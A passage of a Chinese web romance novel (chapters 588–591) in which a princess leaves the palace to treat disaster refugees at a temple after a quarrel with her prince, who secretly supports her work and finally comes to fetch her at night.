然这些血腥场面,他当然不会说与衣上云听,只摸了摸她的头,就此打断她道:“好了,这些事,都是朝堂上的那些臣子们该去操心的,而不是你。你目前最重要的事情,便是赶快将自己的身子养好。难道,你就真的忍心让本王夜夜只能看着你,抱着你,而不能做一些夫妻之间该做的事吗?” 闻此,衣上云瞬时闪躲开他再次变得灼热的目光,羞红了脸:“殿下说什么呢……” 轩辕翰竟再次朝其俯身了下去,不怀好意地对她说道:“王妃是真的不知本王在说什么?如此,不如,本王便接着刚才……” 闻此,衣上云顿伸出两个小拳头来在他胸前推了他一把,威胁他说:“殿下若是再这样,我便让燕儿去找太妃娘娘来带殿下回自己寝殿里去。” 至此,轩辕翰方才不得不乖乖躺了回去:“好了好了,本王不逗你了。” 衣上云依偎回他的怀中,再次尝试着开口:“殿下,我整日呆在王府里也是无所事事,无聊的很,这对我身体的康复也尤为不利。不如,殿下允我去延福寺里帮忙救治那些灾民如何?” 轩辕翰一听,想都没想便坚决地否定了她的想法:“不行!” 衣上云不肯放弃,继续哀求:“殿下,我实在是……” 岂料话刚开口,轩辕翰便愤愤道:“照料医治病患,那是何等危险又辛苦的事情,就你现在的身子,如何捱得住!” 衣上云却固执地忽坐起了身来,道:“我当然可以啊!只要是做我喜欢的事,我便就浑身上下都充满了力量。” 这时,轩辕翰忽然明白了过来,她这会儿为何如此固执,便说:“你以为本王不知道你是又要去找那个叫丁香的药女吗?” 此话一出,衣上云却是瞪大了眼睛看着他的脸,比他更加惊诧:“殿下怎知丁香也在延福寺?” 轩辕翰没有说话。 衣上云终于明白了过来,难怪今日轩辕翰会如此生自己的气。 遂沉默了一会儿,看着轩辕翰的脸,衣上云心里难过极了地开口道:“难怪我的手镯怎么会出现在殿下手里,原来殿下……派人跟踪我……” 一切已然都被衣上云识破,轩辕翰自知理亏,可也不想再说什么,因为若是继续说下去,便又免不了要与她争吵起来了。 “本王累了,先睡了!”轩辕翰说着,便朝其背过了身去,闭起了眼睛。 而衣上云则坐在其身旁,凝视着他的后背,伤心极了。 第二日,天还没来。 衣上云便蹑手蹑脚地起床,留下了一封书信后,悄悄独自溜出了秦王府大门。 轩辕翰迷迷糊糊地一个翻身,伸手没有探触到自己熟悉的人儿,于是便睁开眼睛一看,只见衣上云并不在自己身旁。 就连其睡的那边,她的锦被不知何时则已经被叠的整整齐齐,摆放在榻边。 轩辕翰心里有些纳闷,为何她今日比自己起身还要早,于是便撑着双臂坐了起来,在屋内唤了两声:“云儿,云儿……” 没有得到其任何回应,轩辕翰下榻来顺手拿了件衣袍,一边穿,一边在云水阁上上下下,里里外外都找了一遍。 “云儿……云儿……” 燕儿隐隐约约听到了其呼唤声,便赶忙出来询问:“秦王殿下,发生了什么事?” 轩辕翰心里隐隐有种不好的预感,便有些着急地问燕儿:“你可有看到王妃在哪儿?” 燕儿回忆片刻,道:“王妃娘娘……她不是一直和殿下您在一起吗?燕儿并未见她下楼来啊!” “糟了!”轩辕翰说着,顿时疾步回到了二楼寝室里。 果然,在房内的书案上,看到了衣上云所留下的字迹。 “殿下:见字如面,原谅云儿的一意孤行。云儿实在无法眼睁睁看着延福寺的灾民们饱受失去家园与亲人后,身体与心理的双重煎熬。正如殿下明知战争会死很多人,却又不得不战。既然上天让云儿今日遇到了他们,云儿便就不能袖手旁观。云儿相信,定能救得他们,届时,云儿再回来向殿下负荆请罪!” 这时,发现了情况似是有些不对的燕儿亦追着轩辕翰的脚步过来,一看到轩辕翰手里衣上云留下的字,整个人瞬间都懵了:“殿下,到底发生了什么事情?小姐她……她……” 燕儿不知道信里究竟写了些什么?只是看到轩辕翰愤怒极了的眼神,衣上云又早已不知了去向,心里一时间怕的要命。 这时,轩辕翰忽然一把大力地将信拍在了面前的书案上,几乎怒发冲冠地道:“你为何就是不听本王的劝呢?!” 第五百八十八章:入驻延福寺 从一路披星戴月开始,一缕缕微风轻拂脸庞,脚下踏着清晨的露水,衣上云拎着只简单整理的几件出阁前在衣府时穿的旧衣裙,正独自往延福寺里赶去与丁香会和。 这一路,她的心里很是郁闷。 一边走,一边自言自语嘟囔着:“不信我,居然怀疑我,原来我就是这天底下最大最大的大傻瓜,竟信了你的鬼话。” 自己明明已经什么都不管不顾了,只一心把所有都交给了轩辕翰,可轩辕翰竟如此不信任她,居然派人跟踪监视她。 这一刻,她甚至开始有些怀疑自己当初的选择究竟是不是对的? 其实,昨天夜里她根本就不曾合眼。 但凡他能先跟自己服个软低个头,哄哄她,或许她便也就没有那么伤心难过了。 可是,他竟然背过身去又不理她。 俩人大婚不过第三日,同一天,这样的事便发生了两次。 她知道一开始他也是在赌气,并没有真的睡着,可最后,他却是真的对她不管不顾,自顾自睡着了。 想着想着,眼泪就这样不争气地流了下来。她赶忙抬起头来看向头顶的天空,希望能将这些泪水全都倒回去。 可不争气的是,为什么刚一离开他,便又开始想念了。 如此矛盾又复杂的心情又有谁能理解呢? “轩辕翰,我讨厌你,讨厌你,讨厌你,你这个大笨蛋,根本就不值得我为你流泪,我再也不想看到你了!” 一念至此,她转身对着身旁宁静的一片湖面,大声地喊出了这句话,仿佛便也是给自己彷徨不定的心里下定了决心一般。 痛痛快快地喊出来后,心中的郁闷似是也减轻了许多。 于是,她便摩拳擦掌打起精神来,开始迈起轻盈的步伐,加快了脚步赶路。 很快,便抵达了延福寺。 站在门口,稍稍整理了一下自己略有些凌乱的衣妆,衣上云便给自己打了打气,说:“相信自己,你一定可以的!” 说完,便伸出手去推门而入。 霎时间,只见院子里的所有人都齐刷刷一起向她望了去。 而这目光里,隐隐似是与先前有所不同。 心里正在纳闷着继续往里试探着走,忽然满院子的人俱都朝她伏首行跪拜大礼:“王妃娘娘,千岁千岁千千岁!” 衣上云哪里碰到过这种场面?这么多的百姓朝她行此等大礼,遂瞪大了那双好看的凤眼,惊诧极了地问:“你们都……你们这是做什么?快起来,快起来,有话都快起来好好说。” 这时,丁香微笑着上前来到她的身旁,对她解释说:“他们都已经知道您乃当今秦王王妃的身份了!之前他们在故土时,颇受北烈国的骚扰,幸亏秦王殿下庇护,方才得以安宁的生活。所以,他们对秦王颇为敬重,对你……自是也爱屋及乌。” 闻此,衣上云只得朝着众人扬起一阵无可奈何极了的表情,笑着道:“呵呵……” 接着,便闪身避开,一把拽着丁香来到了一个无人的角落里。 丁香早就注意到了衣上云肩上所背着的包袱,似是对此猜到了几分,于是朝其确认:“王妃娘娘,您不会是真的打算来延福寺医治灾民吧?” 衣上云如今既已留书离府,已然再无退路,于是拍着胸脯说:“当然,君子一言,驷马难追,我许下的诺言,何曾不作数过!” 丁香则缓缓放眼过去望着院子里足足有十几位身着白褂的智者,一脸无奈地说:“可王妃娘娘,您如今已然身份尊贵,再不比从前,实在不必受这样的辛苦!更何况,您看,如今在延福寺里,就是连我,都快要毫无用处,怕是过不了多久,便亦会被逼回宫去了……” 衣上云这才发现,今日人群里竟多了一些人,于是不解地问:“这是怎么回事?他们都是谁?” 丁香敬佩极了地道:“他们几位,可都各个儿是民间医药界各科有名的顶流圣手,就算是再有钱有权的达官贵人,如若无缘,也都未必能请得动他们。” 闻此,衣上云霎时间却不禁想到了自己接下来用于救灾的银子尚还无一点儿头绪呢,于是便担心极了地说:“那想必这些人的诊费也应该都很贵吧!” 顿了顿,她实在有些难为情,可又不得不弱弱地发声说:“丁香,其实不瞒你说,接下来所需要的银子,我正想和你商量能不能……” 就在这时,丁香忽然乍出一句说:“这些圣手们的诊金已经都有人付过了,他们会一直呆在这里,直到所有灾民们俱都康复为止。” “什么?诊金都已经付过了?” 闻此,衣上云顿时瞪大了眼睛,不可思议地看向丁香的脸。 丁香紧接着又道:“王妃娘娘,还不仅如此。如今延福寺的物资很是充足,有人昨日连夜送来了大批药材和物资,寺里的库房都已经堆满了,且全都是我们清单上所罗列的。所以,娘娘您不用再为此而发愁了!” 一时间里,衣上云简直被此消息惊呆了。 待回过神来,赶忙追问丁香:“这捐赠者是谁啊?竟如此慷慨大度。” 丁香亦是一脸好奇地道:“是匿名。” 衣上云更是惊诧:“什么?匿名?如此大的一笔捐赠数目,竟还是匿名?” 丁香点了点头回应道。 “这人究竟是谁呢?”衣上云好奇地正在暗自琢磨,忽然从腹部发出一阵“咕噜噜”的声音来。 丁香闻声笑了笑,道:“王妃娘娘是不是还没用过早点呢?” 衣上云一想起轩辕翰来便就生气,隧撇了撇嘴,可怜地说道:“嗯……别提了,天还未亮,便就开始往这里赶了,走的太急,竟忘了带些干粮……” 丁香想了想,说:“不如,我带娘娘去尝尝寺里的斋面吧,延福寺的斋面可是全西秦国最好吃的了。” 衣上云赶忙附手上去扶住丁香的一只胳膊,笑着说:“嗯,如此,那我一定要吃两碗,你都不知道我有多饿呢!” 丁香一听,意想不到极了地说:“怎么?偌大的秦王府,难不成还能把自己的女主子给饿着不行?” 衣上云气道:“什么破女主子,我才不稀罕,谁稀罕谁当去?” 丁香调侃她:“你真的舍得?秦王殿下,那可是每个女子心中梦寐以求之人呢!” “舍得,舍得”俩人遂边说边笑着,一道高兴地朝后院走了去。 时光飞逝。 一晃,竟然已经过去了有大半月的时间。 打从衣上云负气离开后,轩辕翰便自责极了,可也无奈至极。 于是,每每到了夜深人静的时候,他便如期而至,从外面回来后直接来到了云水阁里。 将楼下,楼上,房内的每一处,每一物,与其相关的俱都细细打量上一遍,回想着衣上云在时的身影。 眼前不禁幻觉般地浮现出她伏案写字的认真模样,调制药方的严谨样子,坐在窗前听着窗外雨打芭蕉安静翻阅书简的眉眼…… 当然,也有与自己置气时的理直气壮,以及与她每一次温柔亲密的身体接触。 可这一切,却忽然变得似乎距离自己越来越远,越来越模糊,他拼命努力地去想,却还是不再清楚。 一时间,心里难过的快要窒息,可还得继续忍着,因为他不能自私地剥夺她的自由与选择。 显然,她不是一只金丝雀,可以被自己随意藏起来。 就在这时,程良缓缓走了进来。 “殿下明明每日思念王妃都快要发狂,明明每晚都去延福寺里见到王妃才能安心,却为何只远远地看着而不现身?” 闻声,轩辕翰沉声道:“想又如何?见又如何?如此,她便就会心甘情愿地同本王回来吗?” 程良想想这段日子轩辕翰心里所承受的辛苦,就替主子打抱不平,愤愤道:“新婚刚满三日,她便就这样不管不顾地丢下自己的夫君跑到什么寺庙里去诊治灾民。殿下明明已废了九牛二虎之力才寻得那些顶流圣手们愿来相助救人,且又以匿名捐赠备足了延福寺的所有物资需求,那她还留在那里有什么意义?” 想起衣上云离开时所留下的那些字,轩辕翰却也能理解她了:“她说的对,如今面对那些灾民,她的心里同本王一样,明知每一场战争都会是死伤无数,却还依旧不得不战。” 程良辩解着说:“我们之所以选择战,是为了更多人免受战争所带来的伤害,” 轩辕翰替衣上云道:“可她现在所面临的,不也是一场没有硝烟的战争吗?” 每每想起她的身子她的伤,心里便自责纠结不已:“她自己身上都是新伤加旧伤,却还要为别人的生命去战。她不过一个弱女子,却将那本前无古人,后无来者的《治沙论》写的让温太傅都无可挑剔,自叹不如。程良你追随本王十余年,对于西北的风沙肆虐了解的难道还不如云儿多吗?你又能做到多少?” 闻此,程良自是自叹不如,于是默默地低下了头来。 这时,轩辕翰忽然开口赞叹说道:“本王的王妃,从来都不会令本王失望,她当真是我西秦国之神秘力量,是百姓们当之无愧的守护者!” 说完看了看天色,遂对程良说:“好了,天色不早了,你也下去早些歇着吧!” “是,属下告退!” 程良离去,轩辕翰方才缓缓过去提起袍角亦落座在榻边,伸出一手去摩挲着衣上云的位置,口中喃喃自语道:“你若真如自己所说,只守护本王,守好我们这个家,那该多好!” 第五百八十九章:自请和离? 同样在延福寺里。 衣上云过的亦忙碌而又充实。 寺里有轩辕翰找来的十几位圣手在,所以她们并不算特别忙。 除了平日里帮忙分担医治和照料一些病患以外,许多时候,她都专注于从这些灾民的亲口描述中了解尽可能多的关于西北地区风沙的知识。 并且在夜深人静的时候,专心将其详细地俱都记载成册。 偶尔闲暇之余,她也会想起轩辕翰来。 想着轩辕翰一直都不见联系自己,更没有来探望过她一眼。她便以为,轩辕翰这次定是真的很生她的气了。 而每当这个时候,她便会扛起锄头,背起箩筐来一股气爬到高高的山顶,席地而坐一边吹风,一边放眼望向山脚下的整片西秦皇城。 往往这样一坐便是许久,直到头顶星河灿烂,皓月当空。 凝视着眼前安宁的一座城池里跳跃着万家灯火,她的心似乎也终于慢慢平静了下来…… 这会儿,她便是刚从山上采药回来。 同往日一样,衣上云只要一出延福寺的门,早已命人打探好其日常外出时间的轩辕翰,便会亲自悄悄一路隐身尾随其后,直到亲眼再看着她安全返回到寺里,方才能得以安心。 衣上云刚一迈进门来,一年轻力壮的男子便迎了上去,着急地问:“王妃娘娘,我们都已经好的差不多了,若是还再在这里继续白吃白喝呆下去,怕是咱们的骨头都快要发霉了,王妃娘娘您到底什么时候带我们回去重建家园啊?” 在轩辕翰的暗中庇护与全力相助下,延福寺的灾民们都恢复的很好。 在这段时间里,与他们一起朝夕相处下来,衣上云更加坚定了要帮他们重建家园的信念。 看着大家如今个个都归心似箭,对未来的美好生活也都充满了信心,衣上云发自内心的高兴。 于是朝其微笑着,解释说:“再等两天,等大家都彻底休养好了咱们再成行。回家之路,路途遥远,大家好不容易全都战胜了病魔,不曾落下一个,相信同样也定能一个不落的再回到家园。大难不死,必有后福,你们得替所有死去的同乡好好活着,不是吗?” 众人闻此,备受鼓舞,齐声高呼:“重建家园,好好活着。大难不死,必有后福!” 那男子又期待极了地朝其确认道:“王妃娘娘,您真的会跟我们一起回去帮我们的,对吧?” 衣上云肯定地道:“会的,一定会的。” 霎时间,四周无数掌声接连响起。 听到院子里传出如此振奋人心的呼喊声,以及阵阵掌声如雷。 一墙之隔外的轩辕翰心中却是五味杂陈,这便是衣上云自己所选择的路,是世间多少顶天立地的男子都望而却步的路,她却是如此的无所畏惧。 可最让自己无奈的是,对此,他既不能支持,因为他不想她那么辛苦,可却也不能反对,因为她在做一件极有意义的事。 思之又思,终是咬了咬牙,兀自转身离去。 这时,丁香上去将其迎了过来到一旁,一边帮忙卸下其背上的背篓,一边将一杯温度晾的刚刚好,香气袭人的茉莉花茶递到了她的手里。 衣上云只顾着擦拭额头的汗水,直到茶汤入口,方才觉察到今日竟不再是寺里一贯的清茶,这才低头看了一眼。 心中顿了一下,抬眼惊诧地看向丁香的脸,问:“这可是极上等的茉莉花茶,寺里何时置办来这么好的茶用?我们还有很多事要做,银子务必一定要精打细算,省着点儿用才行。” 丁香微微笑着,本来满脸期待着衣上云定会很喜欢这茶,却不想受其责备。 无奈,便只能依照轩辕翰方才将这茶交给她的时候所编造的谎言,朝其解释道:“王妃娘娘,这个茶,是我今儿从宫里带来寺里的,并没有用捐赠人的银子。” 不想衣上云一听却是更加生气,训诫其道:“如此便就更不是了!你怎可将宫中物资偷偷夹带到宫外来用,若是被人发现了,定会重罚于你。如此,你又置我于何地?” 丁香实在不知还能怎么劝她接受,于是只能继续扯谎,佯装妥协道:“好了,丁香知道错了,这个茶,其实是宫里的贵人赏给我的。就只这一次,娘娘且就接受丁香这一番心意吧!丁香见娘娘平日里实在是饮不惯寺里的粗茶,这才想着从宫里将其带出来的。” 衣上云打一开始就知道她在对自己撒谎,不想她却一而再,再而三地胡说,于是再也忍不住便将其识破,大声呵斥她。 “简直一派胡言,你以为我不知这种顶级的茉莉花只有在南安国的恒州地界最为有名,且由此而出的茉莉花茶也只有南安皇宫里才有,且只专供于皇室御用吗?西秦国根本不可能有这种茶。” “我……我……”眼看着自己已然无可再辩解,丁香心里一着急,当即扑通一下朝其面前跪了下来。 衣上云却依旧不依不饶,步步紧逼着问:“还不快说,这茶,到底是从哪儿来的?” “我……我……”丁香实在不知该如何继续替轩辕翰隐瞒,慌乱之下,忽半真半假地怯怯而出。 “今日我在来的路上,有一位公子,他不愿意透露自己的姓名,这茶,是他给我的。他知道我认识娘娘,便特意让我将此带来给娘娘。” 闻此,衣上云遂在心里暗自思量着:“公子?南安国皇族中人?……莫非……难道是……三少?可他又是如何得知我在延福寺的?况且,从前我也从未向他提及过喜饮茉莉花茶呀!” 一念至此,虽然仍有疑问,但见丁香眼下委屈的似是都快要哭了。 衣上云方才走过去将丁香扶起身来朝其致歉道:“对不起!是我太小题大做了。” 就差一点儿便要暴露了,可也总算是被自己蒙混了过去,丁香摇了摇头,立起身来。 想了想,说:“就快要启程离开皇城,前往西北了,这一去,不知何时才能回来。走之前,娘娘您真的不打算回秦王府去见秦王殿下一面吗?” 闻此,衣上云深吸了口气,微微笑了笑,可这笑容里冥冥之中尽是忧伤与不舍:“见或不见,又有什么意义?就算我想见他,可或许他根本就不想见到我。与其在同一个屋檐下两两相望被厌弃,倒还不如就不见。” 丁香闻此,心里着急极了地道:“可或许是娘娘你误会了秦王殿下呢?难道您就真的决定这辈子一直都这样躲着他?” 衣上云说:“误会也罢,没有误会又如何,于我而言,这都已经不重要了。” 丁香听着衣上云似是这话里有话,便追问道:“不重要了,这怎么能不重要呢?娘娘这话是何意?” 衣上云沉默了好一会儿,最后似是在心里艰难地下定了某种决心,说:“待我从西北回来,我会去秦王府自请与殿下和离。从此男婚女嫁,各不相干。” “你说什么?自请和离?你们才刚刚成婚不过三日啊!”丁香瞬间惊呆了。 衣上云亦转身望向眼前漆黑一片的夜里,仿佛此刻自己剪不断,理还乱的心情,一脸落寞地默默叹声道:“是啊,好不容易,才刚刚成婚,却只不过三日而已……” 月上柳梢头时分,秦王府。 轩辕翰从延福寺一回府,便唤来程良问话:“如何,人找的怎么样了?” 程良心中着实有些恼火,气着道:“启禀殿下,还未找到。” 轩辕翰顿显一脸严肃地说:“多加派些人手,务必尽早将那主仆俩人给本王揪出来!否则,怕是宫里即将掀起一阵轩然大波。” “是。”程良抱拳领命。 许是因为衣上云的事情,轩辕翰这段日子以来,总觉得有些疲惫,于是便朝其挥了挥手,示意其退下。 怎料刚一出门,便复又再次回来。 轩辕翰正闭目垂首坐着,听闻脚步声传来,只问:“还有何事?” 程良禀告说:“殿下,丁药女求见!” 闻声,一双深邃极了的眼眸忽地打开,轩辕翰低声喃喃道:“这么晚了,她来做什么?” 程良回道:“她说有要事要向殿下禀告!” “要事?”隧一思索,即刻命令说:“让她进来!” 往日丁香都是直接从延福寺里回宫的,今儿却是因为方才衣上云的一段话,特地前来告诉轩辕翰的。 一进门,丁香便上前朝其跪地行礼:“奴婢参见秦王殿下千岁千岁千千岁!” 轩辕翰素声道:“你有什么事要向本王禀报?” 丁香立起身来着急万分地说:“启禀殿下,王妃娘娘她执意要带延福寺里的灾民们回去重建家园,后天一早便就动身……” 未及其将话说完,轩辕翰顿醒过神来惊叫了一声:“你说什么?为何如此快?” 丁香道:“是灾民们想早点回家。奴婢听闻那些灾民同王妃娘娘说过,那里的一场强沙尘,可以卷起数十丈高的沙墙来,整个遮天蔽日,所有一切全部笼罩在沙尘中看不清楚。伴随着滚滚的狂风,沙墙会快速向前推进,整个宛如世界末日来临一般。” 显然,光是这么一听,丁香就已经心惊胆战极了。 第五百九十章:夜半叩寺门 对于西北地区多发沙暴天气的危害及凶险,轩辕翰心里又怎会不知。 一切正如此刻他面前案几上所正被打开着的这本衣上云的《治沙论》里所记载的一样。 因为这些地区地形复杂,多为山地、沙漠和戈壁。再加上其地势高,气温低,降水又少,所以,干旱几乎笼罩了整个区域。 虽然也有河流经过,但这些河流流域内大多被黄土所覆盖,几乎没有什么植被,所以水土流失颇为严重,河流的含沙量亦相当之大。 尤其在春季,北方的降雨量少,一遇到强风便定会掀起大沙暴来,致使百姓们家园尽毁、流离失所、苦不堪言。 黄沙漫漫何时休? 这些年,其实朝廷也不是没有努力过。 只是这是一件长年累月的事情,到如今却只是劳民伤财,成效甚少,便被终对其失去了耐心的璟帝执意放弃了。 丁香只自顾自地说着,忽然间,一意识到轩辕翰却似是正陷入在自己的某种沉思之中,于是便轻声地呼唤他:“秦王殿下……秦王殿下……” 闻声,轩辕翰方才缓缓回过神来,他以为丁香只是来向自己报告衣上云的行程,于是便随意地应了句道:“本王知道了。” 丁香见轩辕翰即便此刻,竟然还能如此淡定一点儿也不着急地坐着。 左思右想,为了衣上云的幸福,她索性便豁出去了,鼓足勇气来大胆地开口问道:“奴婢心里有一事不明,想请问秦王殿下,还望殿下能解奴婢这困惑!” 轩辕翰冷声问道:“何事?” 丁香着实有些责怪他,便有些生气地说:“这些日子以来,秦王殿下怎的如此狠心,竟真的一直都不理会王妃娘娘。殿下可知,娘娘她为此心里很是委屈难过呢!” 轩辕翰想了一瞬,甚至不知何时,也已经开始在心里怀疑,或许,在衣上云的心里,他根本就没有那么重要。 可即便如此,他还是不愿放弃。 于是便说:“见或不见,又能改变些什么?即便本王心里时时刻刻有多么想见她,可或许他根本就不想看到本王。无论如何,她的身子最是要紧,与其惹她生气,倒还不如不见,待她气消了,本王自会亲自接她回来。” 丁香一听这似曾相识的话语,甚觉惊讶,道:“秦王殿下与王妃还真是心有灵犀!就连赌气吵架时,各自心里的想法竟也是如此这般出其不意的相同!” 说完,便拿出一纸包来,上前近身过去将其郑重地放在了轩辕翰面前的案几边上。 轩辕翰看到那自己特意从程良所寻回的所有茉莉花茶中细心为其所挑选的极品,此刻又重新回到了他的面前,显然有些惊诧。 遂缓缓伸手过去将其拿起来,疑惑地问丁香道:“这茉莉花茶……难道她不喜欢?” 丁香摇了摇头,说:“她并不是不喜欢这茶……” 轩辕翰自顾自揣测着道:“她已知道了这是本王为她所寻来的,所以才不要!如此看来,她这是还在生本王的气呢!” 丁香默想了一瞬,叹息道:“殿下与娘娘俩人明明深爱着对方,却又为何要互相伤害呢?娘娘说了,待她从西北回来,便会回府自请与殿下和离。从此男婚女嫁,各不相干。” 果然,这一句一出,轩辕翰顿时再也按捺不住内心的情绪,扬声道:“你说什么?自请与本王和离?” 丁香点了点头。 见轩辕翰的情绪终于起了波澜,索性再为其添油加醋一些,说:“不过,此去西北一行怕是凶多吉少,更何况只有王妃娘娘独自与灾民同往,实属有诸多不妥。娘娘虽然这段日子在延福寺里也做了许多关于沙暴的功课,但并没有真正的体验。就算娘娘想要与殿下和离,那也得有命回来才行!若是此次娘娘她不幸遭遇了……” 言及此,未等丁香将话说完,轩辕翰便哗地一下起身来,快步走出了门去,只不过须臾,即刻消失在一片茫茫夜色中。 完全不管不顾身后程良不明所以地追问:“殿下,这么晚了,您要去哪儿啊?” 见此,丁香终于露出了笑容来,望着其消失在黑夜中的背影,口中喃喃自语道:“这就对了嘛,如此才是追妻该有的态度……” 轩辕翰一出门,便飞快的翻身上马。 “驾,驾,驾……” 顿时,马蹄飞溅起满地的一城落花,阵阵马鞭声响彻夜空。 即使在寂静的夜里,延福寺依旧展露着它的气势宏伟。 依托着周围繁茂的密林,使其在彰显庄严厚重的同时,又显现出许多亲和的意境。 待轩辕翰抵达寺庙的时候,大门早已经紧闭起,他骑在马背上停了下来,看了看眼前这座宁静又神圣的建筑,最后下马来终于一步步踏上了石阶。 很快,那金属门栓与木门的碰触声激起了平淡而略带尖锐的声浪,伴随着“吱吱”的开门声,一位寺里的小师傅透过门缝询问。 “阿弥陀佛,请问施主深夜来寺里有何贵干?若是敬香还愿的话,还请明儿个赶早才是!现下,寺里的师父们都已经睡下了!” 说完,便附手上去,复又准备将门关上。 就在门板才刚刚想要合上的时候,轩辕翰伸出一手来重重地拍在了门板上。 紧接着,便掏出了身上印着极为显眼的“秦王府”三个字的金牌。 小师傅一见,顿时朝其睁大了眼睛,打起精神来道:“官人原是秦王府的人,请问有什么重要的事吗?我这就去向主持通报!” 轩辕翰收回金牌,沉声道:“不必通报了,本王今夜是来接本王的王妃回府的。” 小师傅这才反应了过来,紧忙朝其再次郑重行礼,道:“原来是秦王殿下,贫僧眼拙,还望秦王殿下恕罪!” 轩辕翰再次交待他,道:“本王只是来接王妃回府,不必打扰寺里的其他人。还劳烦师父带本王去本王王妃的住处。” “秦王殿下请随贫僧走便是!请,这边。” 轩辕翰终于跨步进来,紧随小师傅脚步往后面院子里走去。 延福寺坐西向东。 殿三进,由山门、大佛殿、观音殿、大雄宝殿及左右厢房组成四合三天井院落,并在一条中轴线上,随着山势逐层增高。 寺里颇具年代的古老建筑,屋檐下、板壁间呈现出造型别致、形象逼真、活灵活现的精美雕饰和飞鹤、腾云等图案。 小师傅一边走,一边朝其认真介绍着。 待来到最后面靠山的一院厢房时,说:“原本,寺里准备将最宽敞明亮的那间厢房给王妃娘娘住的,可娘娘她说,自己喜欢安静,所以便住在了最角上的阁楼上。娘娘说,阁楼极好,像极了她出阁前所居住的小阁楼,闲时还可以远眺观湖,夜观星河。” 轩辕翰一边听,一边若有所思着。 小师傅继续滔滔不绝地说:“延福寺里的香客,并不乏皇亲贵族。可王妃娘娘她却是真的一点架子都没有,吃穿住行,皆与我们无分别。与我们在一起的时候,她总是很爱笑,她真的是一个极乐观的人。” 说着说着,却渐渐淡去了脸上的笑容,忧郁地道:“可慢慢地,我们发现,不知道从什么时候开始,王妃娘娘便不再那么爱笑了。平日若没有什么事的时候,她总是把自己一个人关在阁楼里,经常一整天都不吃不喝,还有好几次,差点儿就晕倒了。有人问她,她也支支吾吾不肯说,只是……” 轩辕翰只每日在她出门的时候一直悄悄默默地陪在她身边,却不知在寺里,她竟如此虐待自己,隧亦忧心地追问道:“只是什么?” 小师傅默默地转过头来看了轩辕翰一眼,心里似是有些胆怯。 却最后还是说:“只是王妃娘娘如今已经在寺里居住了快月余了,秦王殿下却从未派人来探望过,所以……” 顿了顿,犹豫再三,小师傅终还是开了口说道:“所以我们便都怀疑,王妃娘娘变得渐渐忧郁起来,不再如从前那般爱笑,一定是因为殿下您……” 轩辕翰顿时觉悟过来,承认道:“没错,这一切,的确是本王造成的。” 这时,小师傅忽然一脸希冀地问:“那秦王殿下如今来了,王妃娘娘还会变回以前那般开心快乐吗?娘娘她是个极好,极善良的人,我们都希望她能幸福快乐的生活着。” 轩辕翰想了想,隧极其肯定坚定地道:“会的,本王来了,有本王在,她一定会幸福,一定会再快乐起来的!” “如此,那大家便都就放心了!” 小师傅听了这袭话,终于长长地舒了口气。 就在两人说话间,已经来到了衣上云所住的阁楼下。 小师傅顿足停下,一手指着阁楼的门,对轩辕翰说:“这便是王妃娘娘所住的阁楼了!” 轩辕翰朝其指向看了看,阁楼上,衣上云房内的灯火至今还亮着,于是对其说了句:“多谢!” 小师傅朝其行礼道了句“阿弥陀佛!”,便兀自转身离开。 第五百九十一章:回家 阁楼里,一盏昏黄的烛火摇曳生姿。 衣上云正一袭素净淡雅的白色衣裙静静地凭栏而立着,举头遥望着照耀在一道道波光粼粼的湖面上,天边的一轮圆月,以及这漫天星辰。 回忆过往种种,嘴里自言自语道:“星汉灿烂,浮世三千,人的一生,匆匆而过,若说人间一场,真有所图,那也只不过是一片真心而已。然正是这一片真心,却最是来之不易……” 遂发出一阵感慨来:“早知如此绊人心,不如缘起勿相逢。” 说完,便垂头下来,重重地叹了口气。 这时,忽闻一阵叩门声响起:“咚咚咚” 衣上云即便就连回头看都未看,亦是想都没去想,便回应门外的人:“不用管我,我不想吃任何东西。夜都如此深了,你快点去睡吧!明儿个还要早起呢!” 不想话音刚落没一会儿,同样的叩门声竟再次响起:“咚咚咚” 衣上云无奈地闭起眼睛来,似是有些不耐烦,又说了一次:“真的已经很晚了,你该去睡了,不必再管我!” 想着一而再,这次门外的人定会离开了,哪知叩门声竟又响了起来:“咚咚咚” 衣上云终于再也忍不住,提步直朝门口迈了过去,双手将门刚一拉开,却是两只眼睛顿时朝门外来人呆住了。 继而,嘴里吞吞吐吐地道:“殿下……你……你怎么来了?” 轩辕翰依旧一副不怒自威的样子,兀自绕过衣上云的身旁,不请自入。 进门后,踱步转了一圈,朝四周扫了一眼其所居住的阁楼,发现里面虽然空间委实狭小的很,却还算整洁干净,且窗外的风景亦是不错。 于是转而朝其身边渐渐近身了过去,盯视着她依旧好看的一双眉眼许久,方才开口质问她:“夜都如此深了,为何还不乖乖睡觉?” 衣上云似是一时尚还没有反应过来,随口扯谎说:“我……我现在还不困?等会儿便就要睡了。” 轩辕翰用其一贯强势霸道的气势将她往后一步步逼退着,又问:“为什么依旧不懂得好好爱惜自己?” “我……” 尚未等衣上云回答,轩辕翰紧接着又问:“为什么不好好吃饭?” 衣上云已然被逼的步步后退着,眼看就要贴到墙角再无路可退。 口中似是还在发出一阵喃喃低语来为自己辩解说:“我……我没有不好好吃饭呀!” 轩辕翰听到了她的狡辩,遂将此刻盯视着她的炙热的一双眸子微微朝自己身后门口一斜,示意其门外门口架子上的茶盘里放着的饭菜。 说:“王妃若真的在好好吃饭,那门口放着的饭菜为何已经冷了,却丝毫未见被动过筷子?” “我……我……”终于,衣上云彻底放弃了辩解,也不想再辩解,因为轩辕翰根本就不会给她任何辩解的机会。 见其沉默下来,不再说话,轩辕翰方才也不再逼她,离开了她两步,问:“这么晚了,你在做什么?” 显然,对于今夜轩辕翰的忽然出现毫无半点预料的衣上云,此时确实尚还有点儿反应不过来。 隧一回神,支支吾吾着:“我……” 忽然瞥到了一旁的书案,便疾步过去将自己的笔记翻开来,说:“我在整理之前龙虎城所发生疫情的相关药方,还有这次在延福寺里跟着几位医科圣手所学到的许多妙方。” 提起这段时间来自己所学到的东西,衣上云如数家珍,随便翻到了一页,便滔滔不绝地说了起来:“也不知是哪位匿名的好心人请来的这些圣手,确实厉害,真的让我受益非浅。比如天麻与钩藤、生决明、山栀、黄芩、川牛膝、杜仲、益母草、桑寄生、夜交藤、朱茯神配伍,可平肝熄风,清热活血,补益肝肾。” 再翻一页,又道:“又如……取马钱子用砂烫法炮制,粉碎成细粉,以淀粉稀释,调整比例,再用麻黄、独活、羌活、桂枝、甘草、千年健、牛膝、乳香、木瓜、没药、防风、杜仲、地枫皮、续断等十四味粉碎成细粉,与马钱子细粉80g配研,混匀,过筛,制成大蜜丸,可医治妇人产后风……” 